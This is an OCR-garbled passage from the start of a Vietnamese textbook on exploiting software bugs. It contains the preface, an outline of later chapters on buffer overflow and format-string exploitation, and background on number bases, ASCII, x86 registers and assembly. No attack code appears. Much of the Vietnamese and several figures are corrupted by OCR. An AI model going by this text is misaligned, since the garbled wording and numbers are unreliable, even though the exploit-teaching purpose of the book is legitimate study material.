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Lo1 no1 dau

Muc tiéu clia quyén sach nay la dé chia sé kj nang tan dung 16i phan mém t6i
ban doc dam mé cong nghé. Thong qua nhing di¢u dugc trinh bay trong Nghe
Thuat Tan Dung Léi Phan Mém, tac gia hy vong sé chuyén nhitng kién thic tit
lau duge xem 1&4 ma thuat thanh khoa hoc, vé6i cac con sb, cac cach thic tinh
o rang, dé hiéu, v hop ly. Cimg véi dia DVD di kem, ban doc sé c6 diéu kién
thye hanh ngay nhitng ky thuat trong sach trén moéi truong may do VMware,
v6i he didu hanh Debian phién ban méi nhat, v nhan Linux 2.6.
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Chuong 1
Gi6i thisu

Tit khi ra doi va trd nén phd bién vao nhitng nam dau thap ky 80, may vi tinh
(tai lieu nay con goi ngin gon 14 may tinh) da déng gop tich ciyc trong moi mat
ctia doi sbéng nhu sdn xuét, kinh doanh, gido duc, quc phong, y té. Téc do tinh
toan nhanh, chinh xéc, tinh kha chuyén, da dung la nhiing 1y do gép phan lam
cho méy vi tinh dugc dua vao st dung ngay cang nhiéu. Néu cach nay 20 nim
cach nhanh nhat dé giti mot 14 thu dai vai trang dén mot ngudi ban 6 xa la qua
dich vu phat chuyén nhanh ciia buu dién thi ngay nay diéu nay xay ra trong
vong chua day 20 gidy qua thu dién ti. Néu ngdy trudc ké toan vién phai lam
viéc v6i cd ngan trang gidy va chit s6 thi bay gid ho chi can nhan nit va nhap
lenh vao cic chuong trinh bang tinh thong dung dé dat dudc ciing két qui.

MaAy vi tinh c6 thé thay ddi bo miit vi cach lam viéc ciia x& hoi 1a hoan toan
nho vao sy phtt hgp, va da dang ctia cac tng dung chay trén né. Chuong trinh
phuc vu tac nghiép nhan sy, hé théng quan 1y quy ngan hang, bo phan diéu
khién quy dao tén lta 1a nhing vi du clia cic tng dung méy tinh. Ching ciing
néi lén tAm quan trong ctia may vi tinh v dit liéu sd trong cudc sdéng ching ta.
Théat nghiép, hoic c6 cong an viec lam cé thé chi 1a sy doi thay ciia mot bit tit 0
thanh 1; s6 du trong tai khodn ngan hang tré nén phu thude vio do chuan xac
ctia chuong trinh quan 1y qui; va chién tranh gitta hai nu6c gio day tré thanh
cudc chién trong khong gian &o.

Trong thoi dai thong tin ngay nay, viéc ddm bao an toan thong tin cang
tré nén bic xtac hon bao gis hét. Nhung dé phong chéng dugce tin tic thi trude
hét ta can hiéu dugc cach thitc ma nhitng 16 hdng phan mém bi tan dung. Céc
phuong tién truyén thong thudng xuyén viét vé nhitng 16 hong, va thiet hai ma
ching dan t6i nhung vi théng tin cung cip con han ché nén v6 tinh da than
ky héa nhitng kj thuat khoa hoc don thuan. Va viéc giai thich cin ké, co ban
nhitng ki thuat nay la muc tiéu ciia quyén sach ban dang cam trén tay.

1.1 CAu tric tai ligu

Tai lieu nay dude chia ra lam bén phan chinh. 0 Chuong 2, nguyén Iy hoat
dong co ban clia may vi tinh sé dugc trinh bay véi cac phan nhd vé thanh ghi,
bo nhd, cac lénh co ban. Mot phan quan trong trong chuong nay 1a sy gidi thieu
vé hgp ngit va cach trinh bién dich (compiler) chuyén tit ngon ngit cip cao nhu
C sang ngon ngit cAp thap hon nhu hgp ngtt. Nhitng quy dinh vé cach st dung
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8 CHUONG 1. GIOI THIEU

ky hiéu, minh hoa bd nhé trong tai lieu cing dugc xac dinh trong chuong nay.
Chuong 2 rit quan trong trong viéc tao nén mot nén tang kién thitc cho céc
trao ddi trong nhing chuong sau.

Céac chuong khéc trong tai ligu duge trinh bay mot cach riéng 1é nén ban
doc c6 thé bé qua nhiing chuong khong lien quan t6i vAn dé minh quan tam va
doc triec tiép chuong hodic muc tuong tng.

Trong Chuong 3, chiing ta sé ban dén mot dang 16i diic biet pho bién 1a 16i
tran bo dém. Sau khi da giai thich thé nao la tran bo dém, cac vi du néu ra
trong sach sé néi vé mot vai nguyén tic co ban dé tan dung loai 161 nay, ciing
nhu cac k§ thuat hay gip bao gom diéu khién gia tri bién noi bo, diéu khién
con trd lénh, quay vé thu vién chuan, két ndi nhidu lan quay vé thu vien chuan.

Dang 16i pho thong thit hai duge ban dén ké tiép trong Chuong 4 13 16i chudi
dinh dang. Tuy khong phd bién nhu 16i tran bo dém nhung mic do nguy hai
clia loai 16i nay ciing it cao do kha ning ghi mot gia tri bat ky vio mot ving
nhé bat ky, cong thém sy dé dang trong viéc tan dung 16i. Do d6, & phan nay,
chiing ta sé xem xét ban chét cta loai 16i chudi dinh dang, ba &n sé6 quan trong
dé tan dung 161, cac bai tap ghi mot gia tri vio ving nhé da dinh, va cac huéng
tan dung phd bién nhu ghi dé phan viing .dtors, ghi dé tiéu muc trong GOT.

Phan chinh cudi cling néi vé mot s6 céc loai 16i tuwong déi it gap va dic biét
nhung tac hai cing khong nhd. Chuong 5 ban vé 15i truong hop dua, du mot,
va tran sd nguyeén.

Mbi chuong déu két thic v6i mot muc tém tat va ghi nhé. Nhitng kién thiic
chii dao dudc trinh bay trong chuong tuong tng sé dugce dic két thanh cac chim
diém trong muc nay.

1.2 Lam sao dé st dung hiéu qua tai liéu nay

Céac chuong trong tai lisu ban vé cic van dé rieng 18 khong phu thudc 1an nhau.
Tuy nhién doc gia duge khuyén khich doc qua Chuong 2 trude dé co nén tang
cho nhitng chuong sau, hodc it nhat 1a lam quen véi cac ky hieu, quy ude duge
stt dung trong tai lieu. Sau do, tiy vao muc dich ctia minh, doc gia c6 thé doc
tiép cac chuong ban vé nhitng van dé c6 lien quan.

Tai lieu ndy mic di ¢6 thé dude doc nhu nhing tai liu khac nhung hiéu
qué sé tang lén nhiéu lan néu ban doc ciing dong thdi thic tap trén moi trudng
méy 4o di kem. Mbi trudng nay da dugc thiét ké dic biét gitp ban doc thuan
tién nhat trong viéc khio sat va nim bat cac kién thitc co ban dudc trinh bay
trong tai lieu. Dong thoi, nhitmg hinh chup dong lenh trong tai lieu déu dugc
chup tit chinh méi trudng may 4o niy nén ban sé khong ngd ngang vdi cc s6
lidu, dia chi, cach hoat dong ctia chuong trinh trong do.

Trong méi chuong, ban doc sé gip nhiing 6 “Ding doc va suy nghi”. Day
14 nhitng cau héi ciing c6 kién thitc va nang cao hiéu biét nén ban doc dugc
khuyén khich ding doc va suy nghi vé van dé trong khoang 30 phit trude khi
tiép tuc.
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Dirng doc va suy nghi

Khi gap cac 6 nhu thé nay, ban nén bé chit thoi gian dé suy nghi vé van dé
dit ra. Riéng & day, ban khong can lam vay.

Cudi mdi chuong c¢6 phan tom tat va ghi nhé. Néu ban c6 it thoi gian dé doc
hét ca chuong thi muc nay sé gitiip ban nim bat dai ¥ clia chuong dé mot cach
hé théng va xtc tich nhat.

V6i nhitng diém luu ¥ trén, ching ta da sin sang dé tiép tuc véi nhing kién
thitc vé& cAu tric may vi tinh.
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Chuong 2
May tinh va bién dich

Muc dich cubi cting clia viéc tan dung 16i phan mém la thyc thi cac tac vy mong
mudn. Dé lam dugc didu d6, trudc hét ching ta phai biét ré ciu tric clia may
tinh, céch thic hoat dong ctia bd vi xit 1§, nhitng léenh ma bo vi xt 1§ c¢6 thé
thire hién, 1am sao truyén lénh t6i bo vi xtt 1y. Viéc nay ciing tuong tu nhu hoc
chay xe may vay. Chiing ta phai biét nhan vao niit nao dé khéi dong may, niit
nao dé bat den xin duong, lam sao dé ré trai, lam sao dé dimg xe.

Trong chuong nay, ching ta sé xem xét cau triic may tinh ma dac biét 1a bo
vi xtt Iy (Central Processing Unit, CPU), cac thanh ghi (register), va bo lénh
(instruction) clia n6, cach danh dia chi bo nhé tuyén tinh (linear addressing).
K& tiép chiing ta s& ban t6i ma m4y (machine code), rdi hgp ngit (assembly lan-
guage) dé c6 thé chuyén qua trao ddi vé cach chuong trinh bién dich (compiler)
chuyén mot ham tit ngon ngit C sang hgp ngit. Két thic chuong ching ta sé
dua ra mot mo6 hinh vi tri ngan xép (stack layout, stack diagram) ciia mot ham
mau vé6i cac déi s6 va bién ndi bo.

Trong sudt tai lidu nay, chiing ta sé chi néi dén ciu tric clia bo vi x1t 1y Intel
32 bit.

2.1 Heé co sb

Trude khi di vio ciu tric may tinh, ching ta cAn nam 16 mot kién thiic nén
tang 13 hé co s6. C6 ba hé c6 s6 thong dung ma ching ta sé st dung trong tai
ligu nay:

Hé nhi phan (binary) 1 hé co s6 hai, dugec may tinh st dung. Méi mot chit
s6 ¢6 thé co gia tri 1a 0, hosic 1. Mbi chit s6 nay dude goi 1a mot bit. Tam
(8) bit lap thanh mot byte (¢6 ky hieu 1a B). Mot kilobyte (KB) 1a 1024
(219) byte. Mot megabyte (MB) 14 1024 KB.

Heé thap phan (decimal) 14 hé co s6 mudi ma ching ta, con ngudi, st dung
hang ngay. Méi mot chit s6 c6 thé c6 gia tri1a 0, 1, 2, 3, 4, 5, 6, 7, 8, hoac
9.

Hé thap luc phan (hexadecimal) 14 hé co s6 mudi sau, duge sit dung dé tinh

toan thay cho hé nhi phan vi n6é ngan gon va dé chuyén déi hon. Mai mot
chit s6 ¢6 thé c6 gia tri 0, 1, 2, 3,4, 5,6, 7,8,9, A, B, C,D, E, va F trong
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12 CHUONG 2. MAY TINH VA BIEN DICH

Thap phan ‘ Thap luc phan ‘ Nhi phan

0 0 0000
1 1 0001
2 2 0010
3 3 0011
4 4 0100
5 5 0101
6 6 0110
7 7 0111
3 8 1000
9 9 1001
10 A 1010
11 B 1011
12 C 1100
13 D 1101
14 E 1110
15 F 1111

Bang 2.1: Chuyén déi giita he thap luc phan va nhi phan

d6 A c6 gia tri 1a 10 (thap phan), B ¢6 gia tri 1a 11 va tuong ty véi C, D,
E, F.

2.1.1 Chuyén ddi tir hé cd sd bat ky sang hé cd sé mudi

Goi co s6 d6 1a R, sb6 chit s6 14 n, chit s6 § vi trf mang it § nghia nhat (least
significant digit) 1a zo (thudng la s6 tan cuing bén phai), chit s6 tai vi tri mang
nhiéu ¥ nghia nhat (most significant digit) 1a x,_; (thuong la s6 tan cing bén
tréi), va céc chit s6 con lai tit 21 cho t6i x,,_o. Gié tri thap phan ciia con s6 nay
sé dugc tinh theo cong thic sau:

GiGtrithapphan = o x R® 4+ 21 X R' 4+ ...+ 2o X R" 2+ x,_1 x R"!

Vi du gia tri thap phan ctia s6 nhi phan 00111001 (R = 2, n = 8) la
1x20 4 0x 2 +0x22+1x23+1x24+1x2°4+0x2040x27 =57, gid tri
thap phan ctia s6 thap luc phan 7F (R = 16, n = 2) 14 15 x 16° + 7 x 16! = 127.

2.1.2 Chuyén déi qua lai giita hé nhi phan va hé thap luc
phan

M&i mot chit s6 trong hé thap luc phan tuong ting véi bén chit s6 ¢ hé nhi phan
vi 16 = 2%. Do d6, dé chuyén ddi qua lai gitta hai hé nay, ching ta chi can chuyén
ddi titng bon bit theo Bang 2.1.

Vi du gia tri nhi phan ctia s6 thap luc phan AF 13 10101111 vi A tuong
ting véi 1010 va F tuong tng véi 1111, gia tri thap luc phan ciia s6 nhi phan
01010000 1a 50.
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0/1|/2|3|4|5|6|7 |89 A|B|C|D|E|F

0

1

2

310|123 [4]5|6]|7]8]|9

4 A/IB|C|D|E|F|G|H|T|J|K|L|M|N|O
5|\ PIQ|R|S|T|U|V| W |X|Y|Z

6 a|blc|d|e|f|]g|h|]i|]j|k|]|m|n|o
7Iplaqlr|s|t|lu|Vv|w|x|y]| z

Béang 2.2: Mot vai gia tri phd thong trong bang ma ASCII

2.1.3 Bang ma ASCII

Vi may tinh chi hiéu céc bit 0 va 1 nén chiing ta can c6 mot quy dinh chung vé
cach biéu dién nhimg ky tu chit nhu A, B, C, X, Y, Z. Bang ma ASCII 1a mot
trong nhimg quy dinh d6. Bang ma nay anh xa cac gia tri thap phan nho hon
128 (£t 00 t6i 7F trong hé thap luc phan) thanh nhing ky tu ch thong thudng.
Bang ma nay dudc si dung phd bién nén céc hé didéu hanh hien dai déu tuan
theo chuan ASCIIL.

Ngay nay ching ta thudng nghe néi vé bang ma Unicode vi n6 thé hién duge
hau hét cac ngon ngit trén thé gidi va dic biet 1a tiéng Viet duge gianh rieng
mot viing trong bang mé. Ban than Unicode ciing st dung cach dnh xa ASCII
cho cac ky tu nhé hon 128.

Béang 2.2 liet ké mot s6 gia tri phd thong trong bang ma ASCII. Theo do,
ky tu chit A hoa ¢6 ma 41 & hé thap luc phan, va ma thap luc 61 tuong ting véi
ky ty chit ¢ thudng, ma thap luc 35 tuong tng véi chit s6 &.

Ngoai ra, mot vai ky tu dic biét nhu ky ty két thic chudi NUL c6 ma thap
luc 00, ky tu xudng dong, tao dong méi (line feed, new line) c6 ma thap luc
0A, ky ty doi con trdé vé dau dong (carriage return) c6 ma thap luc 0D, ky tu
khodng trang c6 ma thap luc 20.

Chiing ta da xem xét qua kién thitc cin ban vé cac hé co s6 vd bang ma
ASCIL O phan ké tiép ching ta sé ban vé bo vi xtt Iy ciia méy tinh.

2.2 Kién tric may tinh

M4y tinh gdm ba bo phan chinh 1a bo xit Iy (CPU), bo nhap chuan (ban phim)
va bo xuat chuan (man hinh). Ching ta sé chi quan tam dén bo xit ly vi day
chinh 1a trung tam diéu khién moi hoat dong ctia may tinh.

2.2.1 Bo vi xit Iy (Central Processing Unit, CPU)

Bo6 vi x1t 1y doc 1énh tit bo nhé va thyc hién cac lénh nay mot cach lién tuc,
khong nghi. Lénh sip duge thire thi duge quyét dinh bdi con trd lenh (instruction
pointer). Con tré lénh 13 mot thanh ghi clia CPU, ¢6 nhiém vu luu trt dia chi
ctia lénh ké tiép trén bo nhd. Sau khi CPU thiye hién xong lénh hién tai, CPU
sé& thirc hién tiép lénh tai vi trf do con tré lénh chi téi.
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con trd 1énh=12345678

|

31 |CO0 |90 |90

T

12345678

(a) Dang chi dén lenh thi nhat

con trd 1énh=1234567A

l

31 |CO0 |90 ]| 90

T

12345678

(b) Dang chi dén lénh thit hai

con trd 1énh=1234567B

l

31 {CO |90 |90

T

12345678

(¢) Sau khi thyc hién lénh nop

Hinh 2.1: Con tré lénh
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thdp hon (00000000) cao

thép cao hon (FFFFFFFF)

41 | 42“|.43 | 44

Hinh 2.2: Quy uéc biéu dién

Hinh 2.1a gia st con tré léenh dang mang gia tri 12345678. Diéu nay c6 nghia
la CPU sé thyc hién léenh tai dia chi 12345678. Tai dia chi nay, ching ta c6 1énh
31 CO (xor eax, eax). Vi lenh nay chiém hai byte trén bo nhd nén sau khi
thiyre hién 1énh, con tré lénh sé c6 gié tri la 12345678 + 2 = 1234567 A nhu trong
Hinh 2.1Db.

Tai dia chi 1234567A 1a lenh 90 (nop). Do lénh nop chi chiém mot byte bo
nhé nén con tré 1énh sé trd t6i 6 nhé ké no tai dia chi 1234567B. Hinh 2.1c minh
hoa gia tri ctia con tré lénh sau khi CPU thyc hién 1énh nop & Hinh 2.1b.

Dé ban doc dé niam bét, ching ta c6 cac quy udc sau:

e Nhiing gia tri s6 dé cap dén trong tai lieu nay sé dugc bidu dién & dang
thap luc phan trir khi ¢6 giai thich khac.

e O nhé sé c¢6 dia chi thap hon & bén tay trai, dia chi cao hon & beén tay
phaéi.

e O nh6 sé c6 dia chi thap hon & ben dudi, dia chi cao hon & ben trén.

e Doi khi ching ta sé biéu dién bo nhé bing mot dai dai tit trai sang phai
nhu d&a minh hoa & Hinh 2.1; doi khi ching ta sé biéu dién bang mot hop

cac ngan nhd, mdi ngan nhd dai 04 byte tuwong ting véi 32 bit nhu trong
Hinh 2.2.

Tt vi du vé con tré lénh ching ta nhan thiy ring néu mudén CPU thuyc hién
mot tac viu nao d6, chiing ta can théa man hai diéu kién:

1. Céac lenh thyc thi can dude duwa vao bd nhé.

2. Con tro lenh phai c6 gia tri 1a dia chi ctia ving nhé chia céc lénh trén.
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Vi mé lénh thuc thi va dit liéu chuong trinh déu ndm trén bo nhé nén ta cé thé
tai ma lenh vao chuong trinh thong qua viée truyén dit lieu thong thusng. Day
cling chinh 1a mé hinh ciu tric may tinh von Neumann véi bo xtt 1y va bo phan
chita dit lieu 1an ma lenh duge tach roi.

Viéc chon va xit dung ma lénh (shellcode) phit hgp v6i muc dich tan dung
16i nim ngoai pham vi clia tai lieu nay. Chiing ta sé khong ban tdi cach tao cac
ma lénh ma thay vio dé ching ta sé gid st ring méa lenh phit hop da duge nap
vao bo nhé. N6i nhu vay khong c¢6 nghia la viéc tao ma lénh qua don gidn nén
bi bé qua. Ngugc lai, viée tao mé lénh 13 mot van dé rat phic tap, v6i nhidu ki
thuat rieng biet cho tiing ciu tric may, timg hé diéu hanh khac nhau, tham chi
cho timg truong hop tan dung riéng biet. Hon nita, phan 16n cdc ma lenh phd
thong déu c6 thé dude st dung lai trong cac vi du ching ta sé ban t6i ¢ nhiing
phan sau nén ban doc c6 thé tu ap dung nhu 1& mot bai tap thyc hanh nhé.

Véi gia thiét diéu kién thi nhat da hoan thanh, tai lieu nay sé tap trung vio
viec gidi quyét van dé thit hai, tic 1a diéu khién ludng thic thi ctia may tinh.
Theo ¥ kién ca nhan clia tac gid, day thuong 1a vAn dé mau chét clia viéc tan
dung 18i, va ciing 1a 1y do chinh khién ching ta gip nhiéu khé khin trong viéc
doc hiéu cic tin titc bao chi. That té cho thay (va sé duge dan chiing qua céc
vi du) trong phan l6n cic truong hgp tan dung 16i ching ta chi can diéu khién
dudc ludng thyc thi clia chuong trinh 14 da thanh cong 80% roi.

Trong phan nay, chiing ta dé cap dén con tré lénh, va chidp nhan rang con
troé lenh chita dia chi 6 nhé clia lenh ké tiép ma CPU sé thyc hién. Vay thi con
tro lenh that ra la gi?

2.2.2 Thanh ghi

Con tré lenh & 2.2.1 that ra 14 mot trong s6 cac thanh ghi c6 sin trong CPU.
Thanh ghi 13 mot dang bo nhé téc do cao, nim ngay bén trong CPU. Thong
thuong, thanh ghi s& c6 do dai bing véi do dai clia ciu tric CPU.

D6i véi cau tric Intel 32 bit, chiing ta c6 cdc nhém thanh ghi chinh dugc
liet ké ben dudi, va moi thanh ghi dai 32 bit.

Thanh ghi chung 14 nhing thanh ghi duge CPU stt dung nhut bo nhd siéu tdc
trong cac cong viéc tinh toan, dit bién tam, hay gitt gia tri tham s6. Cac
thanh ghi ndy thudng cé vai tro nhu nhau. Ching ta hay gip bén thanh
ghi chinh 1a EAX, EBX, ECX, va EDX.

Thanh ghi x1t Iy chudi 13 cic thanh ghi chuyén dung trong viec xit Iy chudi
vi du nhu sao chép chudi, tinh do dai chudi. Hai thanh ghi thudng gip
gdm c6 EDI, va ESL

Thanh ghi ngin xép la cac thanh ghi duge st dung trong viéc quan 1y cau
tric bo nhé ngan xép. CAu tric nay sé duge ban dén trong Tiéu muc
2.2.4.3. Hai thanh ghi chinh 14 EBP va ESP.

Thanh ghi dac biét 1a nhiing thanh ghi c6 nhiém vu dac biét, thuong khong
thé dugce gan gia tri mot cach tryc tiép. Ching ta thudng gap cac thanh
ghi nhu EIP va EFLAGS. EIP chinh 1a con tré léenh ching ta da biét.
EFLAGS 1a thanh ghi chita cac ¢ (mdi cd mot bit) nhu ¢ dau (sign
flag), ¢ nhd (carry flag), cd khong (zero flag). Cac cd nay duge thay doi
nhu 14 mot hiéu tng phu ctia céc 1énh chinh. Vi du nhu khi thyc hién lénh
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lay hiéu ctia 0 va 1 thi cd nhé va cd dau sé dugde bat. Ching ta dung gia
tri clia cac c¢d nay dé thuc hién cac lenh nhay cé diéu kien vi du nhu nhay
néu cs khong duge bat, nhay néu ¢ nhé khong bat.

Thanh ghi phan viing 1& cac thanh ghi gép phan vio viéc danh dia chi bo
nhd. Ching ta hay gip nhitng thanh ghi DS, ES, CS. Trong nhiing thé
hé 16 bit, cac thanh ghi chi ¢6 thé dinh dia chi trong pham vi tit 0 dén
216 _ 1. Dé vugt qua gidi han nay, cac thanh ghi phan vimg dudge sit dung
dé hd trg viec danh dia chi bo nhé, md rong né len 22° dia chi 6 nhé. Cho
dén thé hé 32 bit thi hé diéu hanh hién dai da khong can dung dén céc
thanh ghi phan vling nay trong viéc dinh vi bo nhé nita vi mét thanh ghi
thong thudng da c6 thé dinh vi dugce t6i 232 6 nhé tic 1a 4 GB bo nhd.

2.2.3 B0 nhé va dia chi tuyén tinh

Thanh ghi 13 bo nhé siéu téc nhung dang tiéc dung luong clia chiing qué it nén
ching khong phai 14 bo nhé chinh. B6 nhé chinh ma chiing ta néi dén 1a RAM
véi dung lugng thudng thiy dén 1 hoic 2 GB.

RAM la viét tit ctia Random Access Memory (bo nhé truy cap ngiu nhién).
Dit tén nhu vay vi dé truy xult vio bo nhé thi ta can truyén dia chi 6 nhé
truge khi truy cap né, va tde do truy xuat vao dia chi ndo ciing 1& nhu nhau.
Vi thé viéc xac dinh dia chi 6 nhé 1a quan trong.

2.2.3.1 Dinh dia chi 6 nhé

Dén thé he 32 bit, cac hé diéu hanh da chuyén sang dung dia chi tuyén tinh
(linear addressing) thay cho dia chi phan viing. Cach danh dia chi tuyén tinh
lam don gidn hoéa viec truy xuat bo nhé. Cu thé 1a ta chi can xit Iy mot gia
tri 32 bit don gian, thay vi phai duing cong thic tinh toan dia chi 6 nhé tu hai
thanh ghi khac nhau. Vi du dé truy xudt 6 nhé dau tien, ta sé dimng dia chi
00000000, dé truy xuét 6 nhé ké tiép ta diing dia chi 00000001 va cit thé. O nhé
sau nam & dia chi cao hon 6 nhé truge 1 don vi.

Khi ta néi dén dia chi bo nhé, ching ta dang néi dén dia chi tuyén tinh cia
RAM. Dia chi tuyén tinh nay khong nhat thiét 13 dia chi that clia 6 nhd trong
RAM ma sé phai duge hé diéu hanh anh xa lai. Cong viéc anh xa dia chi bo
nhé6 duge thyc hién qua phan quan ly bo nhé do (virtual memory management )
cta hé diéu hanh.

Kiéu danh dia chi tuyén tinh &0 nhu vay cho phép hé diéu hanh mé rong
bo nhé that c6 bing cach sit dung théem phan viing trao ddi (swap partition).
Ching ta thudong thdy may tinh chi c6 1 GB RAM nhung dia chi bo nhé c6 thé
c6 gia tri BFFFF6E4 tic 1a khoang hon 3 GB.

Trong 3 GB nay, ngoai dit liéu con c6 cdc méa lénh ctia chuong trinh. Ching
ta sé ban t6i cac lenh d6 & Tidu muc 2.2.4.

2.2.3.2 Truy xuit b nhé va tinh két thic nhé

Nhu da néi s6 qua, bo vi xit 1y can xac dinh dia chi 6 nhd, va sdn sang nhan di
licu tit hodc truyén dit lieu vao bo nhé. Do d6 dé két néi CPU véi bo nhé chiing
ta c6 hai dudng truyén 1a duong truyén dit lisu (data bus) va dudng truyén dia
chi (address bus). Khi can doc dit lieu tit bo nhg, CPU sé thong bao ring dia
chi 6 nhé da sin sang trén dudng truyen dia chi, va yéu cau bo nhé truyen dit
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lieu qua dudng truyén dit lieu. Khi ghi vao thi CPU sé yéu cau bd nhd lay dit
lidu tit duong truyén dit lieu va ghi vao cic 6 nhé.

Cac duong truyén dit lisu va dia chi déu c6 do rong 32 bit cho nén mdi lan
truy cap vao bd nhé thi CPU sé truyén hosic nhan cd 32 bit dé téi wu viec st
dung dudng truyén. Diéu nay din dén cau héi vé kich thudc cac kidu dit lieu
nhé hon 32 bit.

Cau hoi dau tien 1a lam sao dé CPU nhan duge 1 byte thay vi 4 byte (32
bit) néu moi dit ligu tit bo nhé truyén vé CPU déu 1a 32 bit? Cau tra 1oi 1a
CPU nhan tat ca 4 byte tit bo nhé, nhung sé& chi xit Iy 1 byte theo nhu yéu cau
clia chuong trinh. Viéc nay ciing gidng nhu ta c6 mot thiing hang to nhung bén
trong chi dé mot vat nho.

Cau héi thit hai lién quan tdi vi tri clia 8 bit dit lieu sé dugce xit 1y trong sb6
32 bit dit lieu nhan duge. Lam sao CPU biét lay 8 bit ndo? Cac nha thiét ké vi
xtt 1§ Intel x86 32 bit da quyét dinh tuan theo tinh két thic nhé (little endian).
Két thic nhé 1a quy udc vé trat tu va ¥ nghia cac byte trong mot kiéu trinh
bay dit lieu ma byte & vi trf cudi (vi trf thap nhét) c6 § nghia nhé hon byte &
vi tri ké.

Vi du trong Hinh 2.3a, bén 6 nhé bit dau tit dia chi a biéu dién gié tri thap
luc 42413938. Ching ta thiy ring byte § vi tri thap nhit c6 ¥ nghia nhé nhét,
va byte & vi trf cao nhét c6 ¥ nghia 16n nhat d6i véi gia tri nay. Thay déi 1 don
vi clia byte thap chi lam gia tri thay déi 256° = 1 don vi, trong khi thay déi 1
don vi & byte cao lam gia tri thay déi 256% = 16777216 don vi.

Cimng lac d6, Hinh 2.3b minh hoa céch biéu dién mot chudi “S9AB” két thic
bing ky tu NUL trong bo nhé. Chiing ta thiy titng byte ciia chudi (trong hinh
la gié tri ASCII ctia cac ky ty tuong tng) duge dwa vao bo nhd theo ding thi
ty d6. Tinh két thic nhé khong cé ¥ nghia v6i mot chudi vi cac byte trong mot
chudi c6 vai trdo nhu nhau; khéng cé sy phan biét vé mic quan trong clia timg
byte déi véi dit lieu.

Thong qua hai hinh minh hoa, ban doc ciing chd ¥ ring cic 6 nhé cé thé
chita cing mot di lieu (cac byte 38, 39, 41, 42) nhung § nghia ctia di liéu chita
trong cac 6 nhé dé c6 thé duge hiéu theo cac cach khac nhau béi chuong trinh
(Ia gia tri thap luc 42413938 hay 1a chudi “89AB).

Vi tuan theo tinh két thiic nhé néen CPU sé lay gi4 tri tai dia chi thap, thay
vi tai dia chi cao. Xét cing vi du da dua, néu ta lay 1 byte tit 32 bit dit licu bit
dau tit dia chi @ thi noé sé c6 gia tri thap luc 38; 2 byte sé c6 gia tri 3938; va 4
byte s€ c¢6 gia tri 42413938.

2.2.4 Tap lénh, ma may, va hgp ngw

Tap lénh 1a tit cd nhiing lenh mad CPU c6 thé thuc hien. DPay cé thé dudc coi
nhu kho tit ving clia mot may tinh. Cac chuong trinh 1a nhitng tac pham vin
hoc; chiing chon loc, két ndi cac tit vyng riéng ré lai véi nhau thanh mot thé
théng nhét dién dat mot ¥ nghia rieng.

Ciing nhu céc tit vung trong ngon ngit tu nhién, cac lénh riéng 1é ¢6 do dai
khac nhau (nhu da néu ra trong vi du ¢ Hinh 2.1). Chiing c6 thé chiém 1 hozc
2 byte, va doi khi c6 thé t6i 9 byte. Nhitng gia tri ching ta da thiy nhu 90,
31 CO la nhitng lenh duge CPU hiéu va thyce hien duge. Céc gia tri nay dugc
goi 1& ma médy (machine code, opcode). Ma may con duge biét dén nhu 14 ngon
ngit 1ap trinh thé hé thi nhét.
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Tuy nhién, con ngudi sé gip nhiéu khé khan néu budc phai dicu khién may
tinh bang cach st dung ma méay truc tiép. Do d6, chiing ta da sing ché ra mot
bo tit ving khac gan v6i ngén ngit tu nhién hon, nhung van giit duge tinh cap
thap clia ma may. Thay vi ching ta s dung gia tri 90 thi ching ta dung tit
vung NOP, titc la No Operation. Thay cho 31 CO sé ¢c6 XOR EAX, EAX, tic
1a thye hién phép toan luan tt XOR gita hai gié tri thanh ghi EAX véi nhau
va luu két qua vao lai thanh ghi EAX, hay néi cach khac 1a thiét lap gia tri
ctia EAX bing 0. R6 rang bo tit vung nay dé hiéu hon cac gia tri kho nhé kia.
Chung dudgc goi 1a hgp ngur.

Hop ngit dude xem 1a ngon ngit 1ap trinh thé hé thi hai. Cac ngdn ngit khac
nhu C, Pascal dugc xem 1a ngén ngit lap trinh thé hé thi ba vi ching gan véi
ngon ngit tu nhién hon hgp ngt.

2.2.4.1 Cac nhém lénh

Hop ngit c6 nhiéu nhém lénh khéc nhau. Ching ta sé chi diém qua céc nhém
va nhitng 1énh sau.

Nhém 1énh gan la nhitng lénh diing dé gan gia tri vio 6 nhd, hoac thanh ghi
vi du nhv LEA, MOV, SETZ.

Nhém 1énh sé6 hoc 1 nhitng lenh dimg dé tinh toan biéu thitc s6 hoc vi du
nhu INC, DEC, ADD, SUB, MUL, DIV.

Nhém 1énh luan 1y la nhitng lenh diing dé tinh toan biéu thitc luan 1y vi du
nhu AND, OR, XOR, NEG.

Nhém 1énh so sanh I3 nhiing lénh dimng dé so sanh gia tri ciia hai déi s6 va
thay ddi thanh ghi EFLAGS vi du nhu TEST, CMP.

Nhém 1énh nhay I nhitng lénh dimng dé thay déi ludng thuyc thi ciia CPU
bao gom lénh nhay khong diéu kien JMP, va cac léenh nhay c6 diéu kién
nhu JNZ, JZ, JA, JB.

Nhém 1énh ngan xép la nhitng lenh ding dé day gia tri vio ngan xép, va lay
gid tri tit ngan xép ra vi du nhu PUSH, POP, PUSHA, POPA.

Nhém 1énh ham 13 nhitng lénh diing trong viéc goi ham va trd két qua ti
mot ham vi du nhu CALL va RET.

2.2.4.2 Cu phap

M>bi lénh hgp ngit ¢6 thé nhan 0, 1, 2, hosic nhiéu nhat la 3 déi s6. Da sb
cac trudng hop ching ta sé gap lénh c6 hai déi sb theo dang tuong tu nhu
ADD dst, src. Véi dang nay, lenh sé hoc ADD sé dugc thuc hién véi hai déi
s6 dst va src, 101 két qua cudi cling sé dugc lai trong dst, thé hién cong thitc
dst = dst + src.

Tuy vao mdi lénh riéng biét ma dst va src c6 thé c6 cac dang khac nhau.
Nhin chung, ching ta cé cac dang sau day cho dst va src.

Gia tri tryc tiép 1a mot gia tri cu thé nhu 6789ABCD. Vi du MOV EAX, 6789ABCD
sé gan gia tri 6789ABCD vao thanh ghi EAX. Gia tri tric tiép khong thé
dong vai tro cia dst.
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Thanh ghi [a cac thanh ghi nhw EAX, EBX, ECX, EDX. Xem vi du trén.

B6 nhdé 13 gia tri tai 6 nhé c6 dia chi duge chi dinh. Pé tranh nham lan
véi gia tri trye tiép, dia chi nay duge dit trong hai ngoac vuéng. Vi du
MOV EAX, [6789ABCD] sé gan gia tri 32 bit bat dau tit 6 nhé 6789ABCD
vao thanh ghi EAX. Chiing ta ciing sé gap cac thanh ghi trong dia chi 6
nhé vi du nhu léenh MOV EAX, [ECX + EBX] sé& gan gia tri 32 bit bat dau
tit © nhé tai dia chi 1a téng gia tri clia hai thanh ghi EBX va ECX. Ban
